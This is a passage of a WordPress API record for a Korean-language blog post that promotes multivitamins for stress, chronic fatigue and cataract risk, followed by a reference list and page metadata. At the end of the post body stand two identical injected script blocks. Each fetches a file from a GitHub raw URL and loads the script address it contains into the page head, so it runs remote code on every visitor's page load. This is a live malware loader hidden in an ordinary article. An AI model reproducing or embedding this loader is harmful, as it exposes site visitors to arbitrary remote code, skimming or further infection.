\uc9c1\uba74\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc555\ubc15\uac10\uc744 \ub290\ub07c\ub294 \ubc29\uc2dd\uc740 \uc0ac\ub78c\ub9c8\ub2e4 \ub2e4\ub974\uba70, \uc555\ubc15\uac10\uc774 \uc6b0\ub9ac\uc5d0\uac8c \ubbf8\uce58\ub294 \uc601\ud5a5\ub3c4 \ub9e4\uc6b0 \ub2e4\ub985\ub2c8\ub2e4. \uc5b4\ub5a4 \uc0ac\ub78c\ub4e4\uc740 \uc911\uc694\ud55c \uc21c\uac04\uc5d0 \uc88b\uc740 \uc131\uacfc\ub97c \ub0bc \uc218 \uc788\uc9c0\ub9cc, \ub300\ubd80\ubd84\uc758 \uc0ac\ub78c\ub4e4\uc740 \uc555\ubc15\uac10\uc5d0 \ub450\ub824\uc6c0\uc744 \ub290\ub07c\uace0 \uc2ec\uc9c0\uc5b4 \uc815\uc0c1\uc801\uc778 \uc5c5\ubb34 \uc218\ud589\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uae30\ub3c4 \ud569\ub2c8\ub2e4. \uc2a4\ud2b8\ub808\uc2a4\uc5d0 \ub300\ucc98\ud558\ub294 \uac00\uc7a5 \uc88b\uc740 \ubc29\ubc95\uc740 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc904\uc774\uae30 \uc704\ud55c \uc0ac\uc804 \uc608\ubc29\uc801 \uc811\uadfc \ubc29\uc2dd\uc744 \ucde8\ud558\ub294 \uac83\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\uc911 \ub9f9\uac80 \ub300\uc870 \uc5f0\uad6c(\ub0a8\uc131 50\uba85\uc744 \ub300\uc0c1\uc73c\ub85c 8\uc8fc\uac04 \uc2e4\uc2dc)\uc5d0 \ub530\ub974\uba74 \uacbd\uad6c\uc6a9 \uc885\ud569\ube44\ud0c0\ubbfc\uc740 \uc2a4\ud2b8\ub808\uc2a4, \ubd88\uc548, \uc6b0\uc6b8\uc99d\uc758 \uc804\ubc18\uc801\uc778 \uc810\uc218\ub97c \ub0ae\ucd94\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub418\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \ub610\ud55c \uc8fc\uc758\ub825\uacfc \uc77c\uc0c1\uc801\uc778 \uc6f0\ube59\ub3c4 \uc99d\uac00\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610 \ub2e4\ub978 \ub300\uc870\uad70 \uc5f0\uad6c(76\uba85\uc758 \uc5ec\uc131\uc744 \ub300\uc0c1\uc73c\ub85c 4\uc8fc\uac04 \uc9c4\ud589\ub41c \uc5f0\uad6c)\uc5d0 \ub530\ub974\uba74 \uacbd\uad6c\uc6a9 \uc885\ud569\ube44\ud0c0\ubbfc\uc740 \uc6b0\uc6b8\uc99d, \ubd88\uc548 \ubc0f \uc2a4\ud2b8\ub808\uc2a4 \ucc99\ub3c4(DASS) \uc810\uc218\ub97c \uac1c\uc120\ud588\uc73c\uba70, \ud2b9\ud788 \uc2a4\ud2b8\ub808\uc2a4\uc5d0\uc11c \uac00\uc7a5 \ud070 \uac1c\uc120 \ud6a8\uacfc\ub97c \ubcf4\uc600\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ub9cc\uc131 \ud53c\ub85c \uc99d\ud6c4\uad70\uc5d0 \uc720\uc775<\/h3>\n\n\n\n<p>\ub9cc\uc131 \ud53c\ub85c \uc99d\ud6c4\uad70\uc740 \uc758\ud559\uc801\uc73c\ub85c 6\uac1c\uc6d4 \uc774\uc0c1 \uc9c0\uc18d\ub418\ub294 \uc6d0\uc778 \ubd88\uba85\uc758 \ud53c\ub85c\ub85c \uc815\uc758\ub418\uba70 \ub450\ud1b5, \uad00\uc808\ud1b5, \uc704\uc7a5 \ubd88\ud3b8\uac10, \uc778\ud6c4\ud1b5, \ub9bc\ud504\uc0d8 \ubd80\uc885, \uc778\uc9c0 \uc7a5\uc560, \uac10\uac01 \uc774\uc0c1 \ub4f1\uc774 \ub3d9\ubc18\ub418\ub294 \uacbd\uc6b0\uac00 \ub9ce\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9cc\uc131 \ud53c\ub85c\uc758 \uadfc\ubcf8\uc801\uc778 \ubcd1\ub9ac\ud559\uc801 \uba54\ucee4\ub2c8\uc998\uc740 \uc5ec\ub7ec \uac00\uc9c0\uac00 \uc788\uc9c0\ub9cc, \ub192\uc740 \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\uc640 \ub0ae\uc740 \uc218\uc900\uc758 \ub9cc\uc131 \uc5fc\uc99d\uc774 \uac00\uc7a5 \ub110\ub9ac \uc54c\ub824\uc838 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uac00\uc784\uae30 \uc5ec\uc131 38\uba85\uc744 \ub300\uc0c1\uc73c\ub85c \ud55c \uad00\ucc30 \uc5f0\uad6c\uc5d0\uc11c \uc885\ud569\ube44\ud0c0\ubbfc\uc740 \ud53c\ub85c, \uc218\uba74 \uc7a5\uc560, \uc790\uc728\uc2e0\uacbd\uacc4 \uc99d\uc0c1, \ub450\ud1b5 \ube48\ub3c4 \ubc0f \uac15\ub3c4, \uac10\uc5fc \ub4f1 \ud53c\ub85c\uc640 \uc0b6\uc758 \uc9c8 \uc124\ubb38\uc9c0 \uc810\uc218\ub97c \uac1c\uc120\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c \ud56d\uc0b0\ud654\uc81c\uc778 \uc288\ud37c\uc625\uc0ac\uc774\ub4dc \ub514\uc2a4\ubba4\ud0c0\uc544\uc81c \uc218\uce58\ub97c \ub192\uc5ec\uc8fc\uba70 \uc548\uc804\ud558\uace0 \uc811\uadfc\ud558\uae30 \uc26c\uc6b4 \ubcf4\uc870 \uc694\ubc95 \uc635\uc158\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ubc31\ub0b4\uc7a5 \uc704\ud5d8 \uac10\uc18c<\/h3>\n\n\n\n<p>\ubc31\ub0b4\uc7a5\uc740 \ud604\uc7ac \uc2dc\ub825 \uc0c1\uc2e4 \ubc0f \uc2dc\ub825 \uc190\uc2e4\uc758 \uc8fc\uc694 \uc6d0\uc778\uc774\uba70, \ubaa8\ub4e0 \uc548\uacfc \uc9c8\ud658 \uc911 \uac00\uc7a5 \ube44\uc6a9\uc774 \ub9ce\uc774 \ub4dc\ub294 \uc9c8\ud658\uc785\ub2c8\ub2e4(\uc804\uccb4 \uc548\uacfc \uc9c8\ud658 \uad00\ub828 \uc9c0\ucd9c\uc758 \uc57d 60%\ub97c \ucc28\uc9c0).<\/p>\n\n\n\n<p>\ubc31\ub0b4\uc7a5 \uad00\ub828 \uc704\ud5d8 \uc694\uc778\uc73c\ub85c\ub294 \ud761\uc5f0, \ub2f9\ub1e8\ubcd1, \ud587\ube5b \ub178\ucd9c, \uccb4\uc9c8\ub7c9 \uc9c0\uc218, \uc57d\ubb3c \uc0ac\uc6a9, \uc5d0\uc2a4\ud2b8\ub85c\uac90 \ub300\uccb4 \uc694\ubc95 \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubbf8\uad6d\uc5d0\uc11c\ub9cc 2\ucc9c\ub9cc \uba85 \uc774\uc0c1\uc774 \ubc31\ub0b4\uc7a5\uc744 \uc553\uace0 \uc788\uc73c\uba70, 2030\ub144\uc5d0\ub294 \uadf8 \uc218\uac00 3\ucc9c\ub9cc \uba85\uc73c\ub85c \ub298\uc5b4\ub0a0 \uac83\uc73c\ub85c \ucd94\uc815\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>12\uac1c \uc5f0\uad6c\uc5d0 \ub300\ud55c \uccb4\uacc4\uc801\uc778 \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \uc885\ud569\ube44\ud0c0\ubbfc \uc0ac\uc6a9\uc740 \ud2b9\ud788 \ub178\ub144\uce35\uacfc \uace0\ub839\uce35\uc5d0\uc11c \uc5f0\ub839 \uad00\ub828 \ubc31\ub0b4\uc7a5 \uc704\ud5d8\uc774 \ub0ae\uc740 \uac83\uacfc \uad00\ub828\uc774 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc38\uc870<\/p>\n\n\n\n<p>1. \uc885\ud569\ube44\ud0c0\ubbfc\uacfc \ucde8\uc57d\uc131 \uace0\uad00\uc808 \uace8\uc808 \uc704\ud5d8: \uccb4\uacc4\uc801\uc778 \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d<\/p>\n\n\n\n<p>2. \uc885\ud569 \ube44\ud0c0\ubbfc \ubc0f \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c\uc640 \uc2ec\ud608\uad00 \uc9c8\ud658 \uc704\ud5d8\uc758 \uc5f0\uad00\uc131: \uccb4\uacc4\uc801 \ubb38\ud5cc\uace0\ucc30 \ubc0f \uba54\ud0c0 \ubd84\uc11d<\/p>\n\n\n\n<p>3. \uc0b0\ubaa8\uc758 \uc885\ud569 \ube44\ud0c0\ubbfc \ubcf4\ucda9\uc81c\ub294 \uc5b4\ub9b0\uc774\uc758 \uc790\ud3d0 \uc2a4\ud399\ud2b8\ub7fc \uc7a5\uc560 \uc704\ud5d8 \uac10\uc18c\uc640 \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4: \uccb4\uacc4\uc801 \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d<\/p>\n\n\n\n<p>4. \uc885\ud569 \ube44\ud0c0\ubbfc\uacfc \uc885\ud569 \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c\uac00 \ud608\uc555\uc5d0 \ubbf8\uce58\ub294 \uc601\ud5a5: 12\uac1c\uc758 \ubb34\uc791\uc704 \ub300\uc870 \uc784\uc0c1\uc2dc\ud5d8\uc5d0 \ub300\ud55c \uba54\ud0c0 \ubd84\uc11d<\/p>\n\n\n\n<p>5, 50 \uc138 \uc774\uc0c1\uc758 \uac74\uac15\ud55c \uc5ec\uc131\uc5d0\uc11c \ub2e8\uc77c \uc885\ud569 \ube44\ud0c0\ubbfc \ubc0f \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c \ud22c\uc5ec \ud6c4 \uae09\uc131 \uae30\ubd84\uc774\uc9c0\ub9cc\uc778\uc9c0 \uac1c\uc120\uc740 \uc5c6\uc74c : \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8<\/p>\n\n\n\n<p>6. \ub9cc\uc131 \ud53c\ub85c \uc99d\ud6c4\uad70 \ud658\uc790\uc758 \uc885\ud569 \ube44\ud0c0\ubbfc \ubbf8\ub124\ub784 \ubcf4\ucda9\uc81c 6.<\/p>\n\n\n\n<p>7. \uc554\uacfc \uc601\uc591\uc2e4\uc870 \uc5f0\uad00\uc131<\/p>\n\n\n\n<p>8. \uc5f0\ub839 \uad00\ub828 \uc548\uc9c8\ud658 \uc5f0\uad6c(AREDS)\uc5d0\uc11c \ubc1c\uc0dd\ud55c \ubc31\ub0b4\uc7a5 \ubc0f \ubc31\ub0b4\uc7a5 \uc218\uc220\uacfc \uad00\ub828\ub41c \uc704\ud5d8 \uc694\uc778. AREDS \ubcf4\uace0\uc11c \ubc88\ud638 32<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>What is a conforming vitamin? As of now, there is no evidence to recommend multivitamins for all people, but some groups may be deficient in certain nutrients due to physiological conditions or changes in diet, so appropriate supplementation can bring benefits. The elderly: At this stage, the digestion and absorption capacity will gradually weaken, especially [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3605,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Multivitamins are recommended for their efficacy","_seopress_titles_desc":"A systematic review and meta-analysis (8 observational studies with 80,148 participants) found that multivitamin use was significantly associated with a lower risk of osteoporotic hip fracture.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1461,1496],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-300x167.webp",300,167,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-768x428.webp",768,428,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",810,451,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-600x334.webp",600,334,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Do-you-need-a-multivitamin-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>What is a conforming vitamin? As of now, there is no evidence to recommend multivitamins for all people, but some groups may be deficient in certain nutrients due to physiological conditions or changes in diet, so appropriate supplementation can bring benefits. The elderly: At this stage, the digestion and absorption capacity will gradually weaken, especially vitamin D, calcium and vitamin B12 deficiencies are most common. Vegetarians: Certain nutrients are found primarily in animal foods, and vegetarians are most likely to be deficient in vitamin B12, calcium, zinc, iron, and vitamin D. Pregnancy or lactation: This stage requires A lot of&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4781"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=4781"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4781\/revisions"}],"predecessor-version":[{"id":6402,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4781\/revisions\/6402"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3605"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=4781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=4781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=4781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}